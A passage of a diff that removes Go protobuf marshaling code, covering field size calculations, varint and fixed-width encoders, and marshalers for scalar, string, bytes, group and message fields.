sizeZigzag32Ptr(ptr pointer, tagsize int) int { - p := ptr.getInt32Ptr() - if p == nil { - return 0 - } - v := *p - return SizeVarint(uint64((uint32(v)<<1)^uint32((int32(v)>>31)))) + tagsize -} -func sizeZigzag32Slice(ptr pointer, tagsize int) int { - s := ptr.getInt32Slice() - n := 0 - for _, v := range s { - n += SizeVarint(uint64((uint32(v)<<1)^uint32((int32(v)>>31)))) + tagsize - } - return n -} -func sizeZigzag32PackedSlice(ptr pointer, tagsize int) int { - s := ptr.getInt32Slice() - if len(s) == 0 { - return 0 - } - n := 0 - for _, v := range s { - n += SizeVarint(uint64((uint32(v) << 1) ^ uint32((int32(v) >> 31)))) - } - return n + SizeVarint(uint64(n)) + tagsize -} -func sizeZigzag64Value(ptr pointer, tagsize int) int { - v := *ptr.toInt64() - return SizeVarint(uint64(v<<1)^uint64((int64(v)>>63))) + tagsize -} -func sizeZigzag64ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toInt64() - if v == 0 { - return 0 - } - return SizeVarint(uint64(v<<1)^uint64((int64(v)>>63))) + tagsize -} -func sizeZigzag64Ptr(ptr pointer, tagsize int) int { - p := *ptr.toInt64Ptr() - if p == nil { - return 0 - } - v := *p - return SizeVarint(uint64(v<<1)^uint64((int64(v)>>63))) + tagsize -} -func sizeZigzag64Slice(ptr pointer, tagsize int) int { - s := *ptr.toInt64Slice() - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v<<1)^uint64((int64(v)>>63))) + tagsize - } - return n -} -func sizeZigzag64PackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toInt64Slice() - if len(s) == 0 { - return 0 - } - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v<<1) ^ uint64((int64(v) >> 63))) - } - return n + SizeVarint(uint64(n)) + tagsize -} -func sizeBoolValue(_ pointer, tagsize int) int { - return 1 + tagsize -} -func sizeBoolValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toBool() - if !v { - return 0 - } - return 1 + tagsize -} -func sizeBoolPtr(ptr pointer, tagsize int) int { - p := *ptr.toBoolPtr() - if p == nil { - return 0 - } - return 1 + tagsize -} -func sizeBoolSlice(ptr pointer, tagsize int) int { - s := *ptr.toBoolSlice() - return (1 + tagsize) * len(s) -} -func sizeBoolPackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toBoolSlice() - if len(s) == 0 { - return 0 - } - return len(s) + SizeVarint(uint64(len(s))) + tagsize -} -func sizeStringValue(ptr pointer, tagsize int) int { - v := *ptr.toString() - return len(v) + SizeVarint(uint64(len(v))) + tagsize -} -func sizeStringValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toString() - if v == "" { - return 0 - } - return len(v) + SizeVarint(uint64(len(v))) + tagsize -} -func sizeStringPtr(ptr pointer, tagsize int) int { - p := *ptr.toStringPtr() - if p == nil { - return 0 - } - v := *p - return len(v) + SizeVarint(uint64(len(v))) + tagsize -} -func sizeStringSlice(ptr pointer, tagsize int) int { - s := *ptr.toStringSlice() - n := 0 - for _, v := range s { - n += len(v) + SizeVarint(uint64(len(v))) + tagsize - } - return n -} -func sizeBytes(ptr pointer, tagsize int) int { - v := *ptr.toBytes() - if v == nil { - return 0 - } - return len(v) + SizeVarint(uint64(len(v))) + tagsize -} -func sizeBytes3(ptr pointer, tagsize int) int { - v := *ptr.toBytes() - if len(v) == 0 { - return 0 - } - return len(v) + SizeVarint(uint64(len(v))) + tagsize -} -func sizeBytesOneof(ptr pointer, tagsize int) int { - v := *ptr.toBytes() - return len(v) + SizeVarint(uint64(len(v))) + tagsize -} -func sizeBytesSlice(ptr pointer, tagsize int) int { - s := *ptr.toBytesSlice() - n := 0 - for _, v := range s { - n += len(v) + SizeVarint(uint64(len(v))) + tagsize - } - return n -} - -// appendFixed32 appends an encoded fixed32 to b. -func appendFixed32(b []byte, v uint32) []byte { - b = append(b, - byte(v), - byte(v>>8), - byte(v>>16), - byte(v>>24)) - return b -} - -// appendFixed64 appends an encoded fixed64 to b. -func appendFixed64(b []byte, v uint64) []byte { - b = append(b, - byte(v), - byte(v>>8), - byte(v>>16), - byte(v>>24), - byte(v>>32), - byte(v>>40), - byte(v>>48), - byte(v>>56)) - return b -} - -// appendVarint appends an encoded varint to b. -func appendVarint(b []byte, v uint64) []byte { - // TODO: make 1-byte (maybe 2-byte) case inline-able, once we - // have non-leaf inliner. - switch { - case v < 1<<7: - b = append(b, byte(v)) - case v < 1<<14: - b = append(b, - byte(v&0x7f|0x80), - byte(v>>7)) - case v < 1<<21: - b = append(b, - byte(v&0x7f|0x80), - byte((v>>7)&0x7f|0x80), - byte(v>>14)) - case v < 1<<28: - b = append(b, - byte(v&0x7f|0x80), - byte((v>>7)&0x7f|0x80), - byte((v>>14)&0x7f|0x80), - byte(v>>21)) - case v < 1<<35: - b = append(b, - byte(v&0x7f|0x80), - byte((v>>7)&0x7f|0x80), - byte((v>>14)&0x7f|0x80), - byte((v>>21)&0x7f|0x80), - byte(v>>28)) - case v < 1<<42: - b = append(b, - byte(v&0x7f|0x80), - byte((v>>7)&0x7f|0x80), - byte((v>>14)&0x7f|0x80), - byte((v>>21)&0x7f|0x80), - byte((v>>28)&0x7f|0x80), - byte(v>>35)) - case v < 1<<49: - b = append(b, - byte(v&0x7f|0x80), - byte((v>>7)&0x7f|0x80), - byte((v>>14)&0x7f|0x80), - byte((v>>21)&0x7f|0x80), - byte((v>>28)&0x7f|0x80), - byte((v>>35)&0x7f|0x80), - byte(v>>42)) - case v < 1<<56: - b = append(b, - byte(v&0x7f|0x80), - byte((v>>7)&0x7f|0x80), - byte((v>>14)&0x7f|0x80), - byte((v>>21)&0x7f|0x80), - byte((v>>28)&0x7f|0x80), - byte((v>>35)&0x7f|0x80), - byte((v>>42)&0x7f|0x80), - byte(v>>49)) - case v < 1<<63: - b = append(b, - byte(v&0x7f|0x80), - byte((v>>7)&0x7f|0x80), - byte((v>>14)&0x7f|0x80), - byte((v>>21)&0x7f|0x80), - byte((v>>28)&0x7f|0x80), - byte((v>>35)&0x7f|0x80), - byte((v>>42)&0x7f|0x80), - byte((v>>49)&0x7f|0x80), - byte(v>>56)) - default: - b = append(b, - byte(v&0x7f|0x80), - byte((v>>7)&0x7f|0x80), - byte((v>>14)&0x7f|0x80), - byte((v>>21)&0x7f|0x80), - byte((v>>28)&0x7f|0x80), - byte((v>>35)&0x7f|0x80), - byte((v>>42)&0x7f|0x80), - byte((v>>49)&0x7f|0x80), - byte((v>>56)&0x7f|0x80), - 1) - } - return b -} - -func appendFixed32Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toUint32() - b = appendVarint(b, wiretag) - b = appendFixed32(b, v) - return b, nil -} -func appendFixed32ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toUint32() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed32(b, v) - return b, nil -} -func appendFixed32Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toUint32Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed32(b, *p) - return b, nil -} -func appendFixed32Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toUint32Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendFixed32(b, v) - } - return b, nil -} -func appendFixed32PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toUint32Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - b = appendVarint(b, uint64(4*len(s))) - for _, v := range s { - b = appendFixed32(b, v) - } - return b, nil -} -func appendFixedS32Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt32() - b = appendVarint(b, wiretag) - b = appendFixed32(b, uint32(v)) - return b, nil -} -func appendFixedS32ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt32() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed32(b, uint32(v)) - return b, nil -} -func appendFixedS32Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := ptr.getInt32Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed32(b, uint32(*p)) - return b, nil -} -func appendFixedS32Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := ptr.getInt32Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendFixed32(b, uint32(v)) - } - return b, nil -} -func appendFixedS32PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := ptr.getInt32Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - b = appendVarint(b, uint64(4*len(s))) - for _, v := range s { - b = appendFixed32(b, uint32(v)) - } - return b, nil -} -func appendFloat32Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := math.Float32bits(*ptr.toFloat32()) - b = appendVarint(b, wiretag) - b = appendFixed32(b, v) - return b, nil -} -func appendFloat32ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := math.Float32bits(*ptr.toFloat32()) - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed32(b, v) - return b, nil -} -func appendFloat32Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toFloat32Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed32(b, math.Float32bits(*p)) - return b, nil -} -func appendFloat32Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toFloat32Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendFixed32(b, math.Float32bits(v)) - } - return b, nil -} -func appendFloat32PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toFloat32Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - b = appendVarint(b, uint64(4*len(s))) - for _, v := range s { - b = appendFixed32(b, math.Float32bits(v)) - } - return b, nil -} -func appendFixed64Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toUint64() - b = appendVarint(b, wiretag) - b = appendFixed64(b, v) - return b, nil -} -func appendFixed64ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toUint64() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed64(b, v) - return b, nil -} -func appendFixed64Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toUint64Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed64(b, *p) - return b, nil -} -func appendFixed64Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toUint64Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendFixed64(b, v) - } - return b, nil -} -func appendFixed64PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toUint64Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - b = appendVarint(b, uint64(8*len(s))) - for _, v := range s { - b = appendFixed64(b, v) - } - return b, nil -} -func appendFixedS64Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt64() - b = appendVarint(b, wiretag) - b = appendFixed64(b, uint64(v)) - return b, nil -} -func appendFixedS64ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt64() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed64(b, uint64(v)) - return b, nil -} -func appendFixedS64Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toInt64Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed64(b, uint64(*p)) - return b, nil -} -func appendFixedS64Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toInt64Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendFixed64(b, uint64(v)) - } - return b, nil -} -func appendFixedS64PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toInt64Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - b = appendVarint(b, uint64(8*len(s))) - for _, v := range s { - b = appendFixed64(b, uint64(v)) - } - return b, nil -} -func appendFloat64Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := math.Float64bits(*ptr.toFloat64()) - b = appendVarint(b, wiretag) - b = appendFixed64(b, v) - return b, nil -} -func appendFloat64ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := math.Float64bits(*ptr.toFloat64()) - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed64(b, v) - return b, nil -} -func appendFloat64Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toFloat64Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendFixed64(b, math.Float64bits(*p)) - return b, nil -} -func appendFloat64Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toFloat64Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendFixed64(b, math.Float64bits(v)) - } - return b, nil -} -func appendFloat64PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toFloat64Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - b = appendVarint(b, uint64(8*len(s))) - for _, v := range s { - b = appendFixed64(b, math.Float64bits(v)) - } - return b, nil -} -func appendVarint32Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toUint32() - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v)) - return b, nil -} -func appendVarint32ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toUint32() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v)) - return b, nil -} -func appendVarint32Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toUint32Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(*p)) - return b, nil -} -func appendVarint32Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toUint32Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v)) - } - return b, nil -} -func appendVarint32PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toUint32Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - // compute size - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v)) - } - b = appendVarint(b, uint64(n)) - for _, v := range s { - b = appendVarint(b, uint64(v)) - } - return b, nil -} -func appendVarintS32Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt32() - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v)) - return b, nil -} -func appendVarintS32ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt32() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v)) - return b, nil -} -func appendVarintS32Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := ptr.getInt32Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(*p)) - return b, nil -} -func appendVarintS32Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := ptr.getInt32Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v)) - } - return b, nil -} -func appendVarintS32PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := ptr.getInt32Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - // compute size - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v)) - } - b = appendVarint(b, uint64(n)) - for _, v := range s { - b = appendVarint(b, uint64(v)) - } - return b, nil -} -func appendVarint64Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toUint64() - b = appendVarint(b, wiretag) - b = appendVarint(b, v) - return b, nil -} -func appendVarint64ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toUint64() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, v) - return b, nil -} -func appendVarint64Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toUint64Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, *p) - return b, nil -} -func appendVarint64Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toUint64Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendVarint(b, v) - } - return b, nil -} -func appendVarint64PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toUint64Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - // compute size - n := 0 - for _, v := range s { - n += SizeVarint(v) - } - b = appendVarint(b, uint64(n)) - for _, v := range s { - b = appendVarint(b, v) - } - return b, nil -} -func appendVarintS64Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt64() - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v)) - return b, nil -} -func appendVarintS64ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt64() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v)) - return b, nil -} -func appendVarintS64Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toInt64Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(*p)) - return b, nil -} -func appendVarintS64Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toInt64Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v)) - } - return b, nil -} -func appendVarintS64PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toInt64Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - // compute size - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v)) - } - b = appendVarint(b, uint64(n)) - for _, v := range s { - b = appendVarint(b, uint64(v)) - } - return b, nil -} -func appendZigzag32Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt32() - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64((uint32(v)<<1)^uint32((int32(v)>>31)))) - return b, nil -} -func appendZigzag32ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt32() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64((uint32(v)<<1)^uint32((int32(v)>>31)))) - return b, nil -} -func appendZigzag32Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := ptr.getInt32Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - v := *p - b = appendVarint(b, uint64((uint32(v)<<1)^uint32((int32(v)>>31)))) - return b, nil -} -func appendZigzag32Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := ptr.getInt32Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64((uint32(v)<<1)^uint32((int32(v)>>31)))) - } - return b, nil -} -func appendZigzag32PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := ptr.getInt32Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - // compute size - n := 0 - for _, v := range s { - n += SizeVarint(uint64((uint32(v) << 1) ^ uint32((int32(v) >> 31)))) - } - b = appendVarint(b, uint64(n)) - for _, v := range s { - b = appendVarint(b, uint64((uint32(v)<<1)^uint32((int32(v)>>31)))) - } - return b, nil -} -func appendZigzag64Value(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt64() - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v<<1)^uint64((int64(v)>>63))) - return b, nil -} -func appendZigzag64ValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toInt64() - if v == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v<<1)^uint64((int64(v)>>63))) - return b, nil -} -func appendZigzag64Ptr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toInt64Ptr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - v := *p - b = appendVarint(b, uint64(v<<1)^uint64((int64(v)>>63))) - return b, nil -} -func appendZigzag64Slice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toInt64Slice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(v<<1)^uint64((int64(v)>>63))) - } - return b, nil -} -func appendZigzag64PackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toInt64Slice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - // compute size - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v<<1) ^ uint64((int64(v) >> 63))) - } - b = appendVarint(b, uint64(n)) - for _, v := range s { - b = appendVarint(b, uint64(v<<1)^uint64((int64(v)>>63))) - } - return b, nil -} -func appendBoolValue(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toBool() - b = appendVarint(b, wiretag) - if v { - b = append(b, 1) - } else { - b = append(b, 0) - } - return b, nil -} -func appendBoolValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toBool() - if !v { - return b, nil - } - b = appendVarint(b, wiretag) - b = append(b, 1) - return b, nil -} - -func appendBoolPtr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toBoolPtr() - if p == nil { - return b, nil - } - b = appendVarint(b, wiretag) - if *p { - b = append(b, 1) - } else { - b = append(b, 0) - } - return b, nil -} -func appendBoolSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toBoolSlice() - for _, v := range s { - b = appendVarint(b, wiretag) - if v { - b = append(b, 1) - } else { - b = append(b, 0) - } - } - return b, nil -} -func appendBoolPackedSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toBoolSlice() - if len(s) == 0 { - return b, nil - } - b = appendVarint(b, wiretag&^7|WireBytes) - b = appendVarint(b, uint64(len(s))) - for _, v := range s { - if v { - b = append(b, 1) - } else { - b = append(b, 0) - } - } - return b, nil -} -func appendStringValue(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toString() - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - return b, nil -} -func appendStringValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toString() - if v == "" { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - return b, nil -} -func appendStringPtr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - p := *ptr.toStringPtr() - if p == nil { - return b, nil - } - v := *p - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - return b, nil -} -func appendStringSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toStringSlice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - } - return b, nil -} -func appendUTF8StringValue(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - var invalidUTF8 bool - v := *ptr.toString() - if !utf8.ValidString(v) { - invalidUTF8 = true - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - if invalidUTF8 { - return b, errInvalidUTF8 - } - return b, nil -} -func appendUTF8StringValueNoZero(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - var invalidUTF8 bool - v := *ptr.toString() - if v == "" { - return b, nil - } - if !utf8.ValidString(v) { - invalidUTF8 = true - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - if invalidUTF8 { - return b, errInvalidUTF8 - } - return b, nil -} -func appendUTF8StringPtr(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - var invalidUTF8 bool - p := *ptr.toStringPtr() - if p == nil { - return b, nil - } - v := *p - if !utf8.ValidString(v) { - invalidUTF8 = true - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - if invalidUTF8 { - return b, errInvalidUTF8 - } - return b, nil -} -func appendUTF8StringSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - var invalidUTF8 bool - s := *ptr.toStringSlice() - for _, v := range s { - if !utf8.ValidString(v) { - invalidUTF8 = true - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - } - if invalidUTF8 { - return b, errInvalidUTF8 - } - return b, nil -} -func appendBytes(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toBytes() - if v == nil { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - return b, nil -} -func appendBytes3(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toBytes() - if len(v) == 0 { - return b, nil - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - return b, nil -} -func appendBytesOneof(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - v := *ptr.toBytes() - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - return b, nil -} -func appendBytesSlice(b []byte, ptr pointer, wiretag uint64, _ bool) ([]byte, error) { - s := *ptr.toBytesSlice() - for _, v := range s { - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(v))) - b = append(b, v...) - } - return b, nil -} - -// makeGroupMarshaler returns the sizer and marshaler for a group. -// u is the marshal info of the underlying message. -func makeGroupMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - p := ptr.getPointer() - if p.isNil() { - return 0 - } - return u.size(p) + 2*tagsize - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - p := ptr.getPointer() - if p.isNil() { - return b, nil - } - var err error - b = appendVarint(b, wiretag) // start group - b, err = u.marshal(b, p, deterministic) - b = appendVarint(b, wiretag+(WireEndGroup-WireStartGroup)) // end group - return b, err - } -} - -// makeGroupSliceMarshaler returns the sizer and marshaler for a group slice. -// u is the marshal info of the underlying message. -func makeGroupSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getPointerSlice() - n := 0 - for _, v := range s { - if v.isNil() { - continue - } - n += u.size(v) + 2*tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getPointerSlice() - var err error - var nerr nonFatal - for _, v := range s { - if v.isNil() { - return b, errRepeatedHasNil - } - b = appendVarint(b, wiretag) // start group - b, err = u.marshal(b, v, deterministic) - b = appendVarint(b, wiretag+(WireEndGroup-WireStartGroup)) // end group - if !nerr.Merge(err) { - if err == ErrNil { - err = errRepeatedHasNil - } - return b, err - } - } - return b, nerr.E - } -} - -// makeMessageMarshaler returns the sizer and marshaler for a message field. -// u is the marshal info of the message. -func makeMessageMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - p := ptr.getPointer() - if p.isNil() { - return 0 - } - siz := u.size(p) - return siz + SizeVarint(uint64(siz)) + tagsize - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - p := ptr.getPointer() - if p.isNil() { - return b, nil - } - b = appendVarint(b, wiretag) - siz := u.cachedsize(p) - b = appendVarint(b, uint64(siz)) - return u.marshal(b, p, deterministic) - } -} - -// makeMessageSliceMarshaler returns the sizer and marshaler for a message slice. -// u is the marshal info of the message. -func makeMessageSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getPointerSlice() - n := 0 - for _, v := range s { - if v.isNil() { - continue - } - siz := u.size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getPointerSlice() - var err error - var nerr nonFatal - for _, v := range s { - if v.isNil() { - return b, errRepeatedHasNil - } - b 